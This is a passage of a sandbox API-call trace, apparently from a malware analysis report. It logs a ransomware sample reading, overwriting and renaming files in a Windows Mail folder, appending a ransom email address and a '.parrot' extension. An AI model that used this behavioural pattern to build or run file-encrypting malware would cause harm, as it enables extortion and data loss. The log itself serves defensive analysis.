hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0085.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0085.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0085.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178cb8 [0085.748] GetLastError () returned 0x0 [0085.777] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.777] WriteFile (in: hFile=0x1fc, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0085.778] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.778] WriteFile (in: hFile=0x1fc, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0085.781] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x206118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.781] CloseHandle (hObject=0x1fc) returned 1 [0085.876] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317fee8 [0085.876] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x223e068 [0085.876] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0085.877] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e068 | out: hHeap=0x5b0000) returned 1 [0085.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0085.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317c188 [0085.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d85d8 [0085.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0085.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0085.927] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.927] ReadFile (in: hFile=0x264, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0085.929] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.929] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0085.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0085.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0085.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0085.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0085.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178cb8 [0085.931] GetLastError () returned 0x0 [0085.934] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d2b8 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d2b8 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5e9ca0 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3178cb8 [0085.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3178ea0 [0085.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178cb8 | out: hHeap=0x5b0000) returned 1 [0085.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179170 [0085.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178ea0 | out: hHeap=0x5b0000) returned 1 [0085.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31795a8 [0085.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179170 | out: hHeap=0x5b0000) returned 1 [0085.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x649228 [0085.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31795a8 | out: hHeap=0x5b0000) returned 1 [0085.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x3178cb8 [0085.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0085.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x649228 [0085.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178cb8 | out: hHeap=0x5b0000) returned 1 [0085.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x64a768 [0085.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0085.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x64c730 [0085.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64a768 | out: hHeap=0x5b0000) returned 1 [0085.937] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3183ed0 | out: hHeap=0x5b0000) returned 1 [0085.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6512f0 | out: hHeap=0x5b0000) returned 1 [0085.941] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0085.941] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc088ed00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc088ed00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.942] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc062d700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x200118, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EDB000~1.PAR")) returned 1 [0085.943] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0085.943] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.943] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc088ed00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc088ed00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 1 [0085.943] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc088ed00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc088ed00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 0 [0085.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c0e0 | out: hHeap=0x5b0000) returned 1 [0085.943] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0085.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317bf90 | out: hHeap=0x5b0000) returned 1 [0085.943] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0085.944] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.944] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0085.945] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.945] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x2000, lpOverlapped=0x0) returned 1 [0085.946] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.947] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.chk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0085.948] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d648 | out: hHeap=0x5b0000) returned 1 [0085.948] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0085.948] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31660d8 | out: hHeap=0x5b0000) returned 1 [0085.950] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.950] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0085.951] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.951] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0085.988] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.988] WriteFile (in: hFile=0x26c, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0085.999] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.999] WriteFile (in: hFile=0x26c, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0086.051] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x200118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.051] CloseHandle (hObject=0x26c) returned 1 [0086.093] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d648 | out: hHeap=0x5b0000) returned 1 [0086.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0086.102] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.102] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0086.104] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.104] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0086.142] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.142] WriteFile (in: hFile=0x26c, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0086.200] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.200] WriteFile (in: hFile=0x26c, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0086.206] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x200118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.206] CloseHandle (hObject=0x26c) returned 1 [0086.240] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d648 | out: hHeap=0x5b0000) returned 1 [0086.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0086.248] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.248] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0086.250] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.250] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0086.291] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.291] WriteFile (in: hFile=0x26c, lpBuffer=0x6a90d8*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a90d8*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0086.301] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.302] WriteFile (in: hFile=0x26c, lpBuffer=0x3040040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3040040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0086.307] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x200118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.308] CloseHandle (hObject=0x26c) returned 1 [0086.386] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd50 | out: hHeap=0x5b0000) returned 1 [0086.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3040020 | out: hHeap=0x5b0000) returned 1 [0086.408] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.408] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0086.448] 